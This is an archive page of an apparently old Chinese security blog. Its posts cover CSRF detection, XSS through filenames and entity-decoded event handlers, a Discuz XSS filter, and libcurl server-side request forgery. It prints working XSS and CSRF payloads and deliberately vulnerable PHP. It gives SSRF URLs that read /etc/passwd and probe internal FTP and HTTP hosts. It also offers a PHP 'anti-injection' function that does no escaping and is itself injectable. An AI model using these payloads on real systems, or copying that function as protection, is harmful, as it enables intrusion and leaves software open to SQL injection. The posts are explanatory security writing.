存档

‘网络安全’ 分类的存档

基于发起源判断CSRF攻击的方法

2011年11月26日 1 条评论

当我们要利用一个CSRF漏洞去攻击的时候,常会在第三方站点使用资源请求的方式加载存在漏洞的CSRF接口,当用户访问这个页面的时候就会偷偷的发送http request到漏洞站点,即攻击成功。实例利用代码:

<img src="http://www.woyigui.cn/index.php?csrf=woyigui">

使用资源发送http request的方法很多,带上认证信息的属性如:SRC、background等,标签可使用img、script、css等。

正常使用html标签去加载所需要的资源的时候,对应的类型是一致的,如:
script的SRC对应:application/javascript
img的SRC对应:img/jpeg、img/png
任意标签的background-image对应的是:img/jpeg、img/png

和正常加载相反的是:我们进行CSRF攻击的时候请求的接口正好返回的 text/html 类型,这就与正常的请求有区别了。
我们看一下正常与CSRF攻击在浏览器中的发起源的区别:

//img src CSRF 对比
<img src="http://www.baidu.com/img/baidu_sylogo1.gif" />
<img src="http://www.woyigui.cn/index.php?csrf=woyigui" />
 
//script src CSRF 对比
<script src="http://www.baidu.com/js/bdsug.js?v=1.0.3.0"></script>
<script src="http://www.woyigui.cn/index.php?csrf=woyigui"></script>

看一下他们的发起源信息:

可以看到,区别是有的,script、img去请求的http api却是text/html的,这是有问题的,可能就是CSRF攻击。
当然有些站点常常就是请求一些text/html的类型,如callback回调函数api等。如:

//误报
<script src="http://www.woyigui.cn/my/alert.html"></script>

基于如上的对比与分析,我们可以在浏览器中这样做:
1、如果当前页面中的资源请求标签请求的是非正常类型资源,进行提示用户,或者阻断此请求;
2、为了解决误报,可配合其他防范策略,如:第三方域为黑名单等。

此文在刚逛物美想到的,如有缺陷,请找我交流,感谢。

分类: 网络安全 标签:

php防注入

2011年3月25日 1 条评论

翻某程序时看到这样写,记录下来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
function prepare_query($sql, $params=null)
{
	$sql_block	= explode("?", $sql);
	$sp_size	= sizeof($sql_block) - 1;
	$param_size	= sizeof($params);
 
	if ( $sp_size == 0 && $params == null)
		return $sql;
 
	if ( ($sp_size < 1) || ($param_size < 1) || ($sp_size != $param_size) )
		return "";
 
	if ($param_size == 1)
	{
		if ( gettype($params) == 'string')
		{
			$result = str_replace('?', "'".$params."'", $sql);
		}
		else if ( gettype($params) == 'integer')
		{
			$result = str_replace('?', $params, $sql);
		}
	}
	else if ($param_size > 1)
	{
		for ($i = 0; $i < sizeof($params); $i++)
		{
			if ( gettype($params[$i]) == 'string')
				$sql_block[$i] .= "'".$params[$i]."'";
			else if ( gettype($params[$i]) == 'integer')
				$sql_block[$i] .= $params[$i];
		}
 
		$result = "";
		for ($i = 0; $i < $param_size; $i++)
		{
			$result .= $sql_block[$i];
		}
	}
 
	return $result;
}

新浪微博批量取消关注

2011年2月26日 1 条评论

上次写了一段代码:新浪微博批量关注,反弹follow(http://www.woyigui.cn/2010/09/28/sina-t-follow/)。最近发现好友太多,无法获取想要的信息,把代码稍微改了一下,进行取消的: 阅读全文…

分类: 网络安全 标签: ,

linux filename xss

2010年11月15日 8 条评论

一、关于文件名
大家都知道在 windows 下面文件名是有规则,定义了一些保留的字符,他们分别是:

< (less than)
> (greater than)
: (colon)
" (double quote)
/ (forward slash)
\ (backslash)
| (vertical bar or pipe)
? (question mark)
* (asterisk)

而linux下面是没有对这些大部分字符进行限制的,可以随意定义的,那么,我们就可以将 XSS Pyload 存储在文件名中,如图所示:

我们可以看到可以成功将 xss pyload 存储在文件名当中了。
二、利用攻击 阅读全文…

分类: 网络安全 标签: , ,

browser ddos 在业务中的应用

2010年11月3日 2 条评论

一般的browser ddos 主要用于让其浏览器崩溃,却未见到各种真实的在业务中应用的反攻击手段,最近遇到一个案例,攻击步骤如下:

1、攻击者盗取帐户,使用工具不断刷新页面,保持持久会话登录。

2、受害者发现帐户被盗,修改密码。

3、由于业务逻辑实现问题,不能让web登录的用户下线,受害做如何操作,都无法让攻击者退出。

4、攻击者使用有效的session保持会话,继续攻击。

由于业务逻辑问题,这里面最大的问题是:将用户的状态置为失效。

反攻击:因为目的是把用户重新登录,这里只要让将用户的浏览器崩溃,重新打开页面session失效,而此时,需要重新登录,由于受害者可以立即修改密码,所以攻击者就无法进行登录,就达到了我们的目的。如图所示:

反攻击中遇到的困难点: 阅读全文…

分类: 网络安全 标签: ,

新浪微博批量关注,反弹follow

2010年9月28日 10 条评论

作为新浪T客的你,看着别人的关注度那么高,是不是心痒痒?来,我告诉你个方法:
1、去人气比较强的T客上 follow 他,然后等待有人观看他的T看见你时,反弹 follow。
2、直接follow你的朋友关系圈,比如我的同事,开头会使用:taobao|淘宝… 相关的,follow 后,他会反弹follow你的。
3、写脚本自动搜索并 follow 最容易反弹 follow 的T,然后等待。

明显第 3 种最棒,查看效果:http://t.sina.com.cn/woyigui
阅读全文…

分类: 网络安全 标签: ,

条形码XSS

2010年2月25日 5 条评论

只看图,等成功了再说话。

Link:
XSS, SQL Injection and Fuzzing Barcode Cheat Sheet
http://www.irongeek.com/xss-sql-injection-fuzzing-barcode-generator.php

分类: 网络安全 标签:

javascript事件解码引起的问题

2010年1月22日 8 条评论

在javascript 事件中,当参数是经过编码的值,javascript 会将期解码进行执行,如下代码。

<a href=# onmousemove="&#97;&#108;&#101;&#114;&#116;&#40;&#47;&#119;&#111;&#121;&#105;&#103;&#117;&#105;&#47;&#41;">xxx</a>

另外,由于 javascript 支持 函数参数可以是 函数特性,如下代码:

<script>x( alert(1) );</script>

利用两种特性,就可以引发如下的安全问题:

<a href="#" onmousemove="xxx('&#39;+alert(1)+&#39;',44);return false;">woyigui</a>

当 javascript 代码经过编码带入页面,可以利用事件执行时解码的特性对单引号进行闭合,然后利用 函数参数 可以是 函数的特性进行代码。该方法不能直接用于 《script》内,比如如下代码是不能执行的:

<script>
xxx('&#39;+alert(1)+&#39;');
</script>

由于如上问题,在特定应用环境中,处理与解决 DOM 型XSS 的时候,将更具有挑战。解决方法就是在解码后,再次使用 \ 符号对其处理,但是考虑到特殊应用可能有所影响。

分类: 网络安全 标签:

discuz 7.2 的反XSS函数

2010年1月8日 4 条评论

因这个 0day ,看了一下代码,发现 common.inc.php 文件中包含如下简单的防范代码:

if($urlxssdefend && !empty($_SERVER['REQUEST_URI'])) {
        $temp = urldecode($_SERVER['REQUEST_URI']);
        if(strpos($temp, '<') !== false || strpos($temp, '"') !== false)
                exit('Request Bad url');
}

用于防止XSS攻击,只支持反射型的,在某些环境下是可以绕过的。估计是N早加入了,估计是我out了。。

分类: 网络安全 标签:

libcurl函数库的安全性

2009年12月23日 5 条评论

curl 库是一个免费的超大的客户端URL传输库,官方描述为:

libcurl is a free and easy-to-use client-side URL transfer library, supporting FTP, FTPS, HTTP, HTTPS, SCP, SFTP, TFTP, TELNET, DICT, LDAP, LDAPS and FILE. libcurl supports SSL certificates, HTTP POST, HTTP PUT, FTP uploading, HTTP form based upload, proxies, cookies, user+password authentication (Basic, Digest, NTLM, Negotiate, Kerberos4), file transfer resume, http proxy tunneling and more!

如果我们想获取一个页面,可用如下简单的代码实现:
PHP code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function get_url( $url ){
$ch = curl_init();
$timeout = 5;
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_VERBOSE, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
//curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$result = curl_exec($ch);
$info = curl_getinfo($ch);
if ($result <> ''){
echo $result."
";
} else {
echo "$url: \t no
\r\n";
}
curl_close($ch);
 
}
if( isset($_GET["url"]) ) {
get_url( $_GET["url"] );
exit();
}

接着,我们就可以通过

1
http://www.woyigui.cn/curl.php?url=http://www.google.com

此url来获取google的页面,并输出到当前页面,非常方便。
同样的,用python 更为简单:

1
2
3
4
5
6
7
8
9
#!/usr/bin/env python
import urllib,sys
 
f = urllib.urlopen(sys.argv[1])
while 1:
buf = f.read(2048)
if not len(buf):
break
sys.stdout.write(buf)

就可以用以下方式获取页面:

1
$ ./downlaod.py http://www.woyigui.cn/index.php

也可以用:

1
$ ./downlaod.py http://www.woyigui.cn/phpinfo.tar.gz >> phpinfo.tar.gz

来下载文件。
当然了,还有更多的脚本都支持 curl 库。

那么,正因为 curl 的超大,同样支持的协议的非常多,所以安全问题也就随之而来。目前可以想到的可以引起以下几个问题:

1、任意文件查看漏洞
因其支持 file 协议,所以,刚才的 PHP 代码,如果被我们控制了 URL 参数,就可以用如下访问获取机器上的可以读权限的任意文件:

1
http://www.woyigui.cn/php_vul/curl_vul.php?url=file:///etc/passwd

这段代码用于获取/etc/passwd文件,在知道网站绝对路径的情况下,可以直接读取网站任意文件源代码:

1
http://192.168.9.30/php_vul/curl_vul.php?url=file:///var/www/config.inc.php

python 语言可以直接读取,也可以加协议头,我们用上面的python脚本:

1
2
3
4
woyigui@fvck:~/python$ ./downlaod.py /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
....
1
2
3
4
5
woyigui@fvck:~/python$ ./downlaod.py file:///etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
.....

2、绕过防火墙,渗透内网
假如有一个简单的网络拓扑结构:

1
A (攻击者:10.0.0.1) ---》 B (WEB 服务器:10.0.0.10) ---》 C (防火墙:防止外网IP访问内网机器,只允许 WEB 与内网之间传输数据) ---》D(内网:192.168.9.2/254)

在这样的一个简单的网络环境中,如果WEB服务器存在一处可由用户构造的CUL 参数的页面,攻击者就可以利用 curl 的功能,进行内网访问数据,因为当执行 CURL 命令,进行网络请求时,都是由 WEB 服务器进行发起的,所以是可以实现的。
1) 访问 内网 ftp 资源:

1
http://ww.woyigui.cn/php_vul/curl_vul.php?url=ftp://test:test@192.168.9.27

当然,如果确认此机器存在 ftp 服务器时,也可以通过返回值进行暴力破解。
2) 访问内网 http 资源:

1
http://www.woyigui.cn/php_vul/curl_vul.php?url=http://192.168.0.1

在很多情况下,很多大的公司都会在内网进行搭建内部网站,或者论坛,然后提供一些公开内部资料可供下载等等,这时候,就可以利用 CURL 去请求内部HTTP服务器的文件。另外,也可以通过返回值,进而扫描内部 WEB 服务器。同样,在有些情况下,也可以通过请尔内部网站,发送GET 请尔, XSS 内部网站,同时,再利用 XSS ping 等方式,进一步做攻击。
3) telnet 渗透内部服务器

4) 利用 scp 协议访问主机资源

3、在线网页代理
这个不算攻击范畴。
因其可以获取远程页面,所以可以找一台米国肉J,或者shell也行,不过要支持 curl 库,可以参数 phpinfo 信息。做一个获取页面PHP文件,这样以后看网页就可以不被墙了。

因各种原因,另外几种就不提供测试方法,只要攻击者熟悉各种 协议,比如 smb:// ftp:// 等,就可以达到攻击的目的。当然,肯定有其他的多种方法可扩展攻击性,使攻击最大化!这就要看各位看官了。
虽然此库在一般的WEB开发中,很少用。但是在一些WEB网络应用的网站,还是大大存在的。而且 curl 库支持多种脚本,所以在其他脚本或者语言中也可能存在问题,目前我只测试了 php 和 python 。
这个是官方提供的一个支持语言名单:

Ada95,Basic,C,C++,Ch,Cocoa,D,Dylan,Eiffel,Euphoria,Falcon,Ferite,Gambas,glib/GTK+,Haskell,ILE/RPG,Java,Lisp,Lua,Mono,.NET,Object-Pascal,OCaml,Pascal,Perl,PHP,Postgres,Python,R,Rexx,Ruby,Scheme,S-Lang,Smalltalk,SP-Forth,SPL,Tcl,Visual Basic,Visual FoxPro,Q,wxWidgets,XBLite

文中肯定没有把此功能攻击最大化,还需要各位的挖掘了。。:)

纠正:以下的python示例并不是使用了curl提供的库,而是使用自身的 urllib。curl 库对 python 提供了 pyUrl 库:http://pycurl.sourceforge.net/

参考:

1
2
http://curl.haxx.se/libcurl/
http://www.acunetix.com/blog/websecuritynews/acusensor-curl-and-zen-cart/
分类: 网络安全 标签: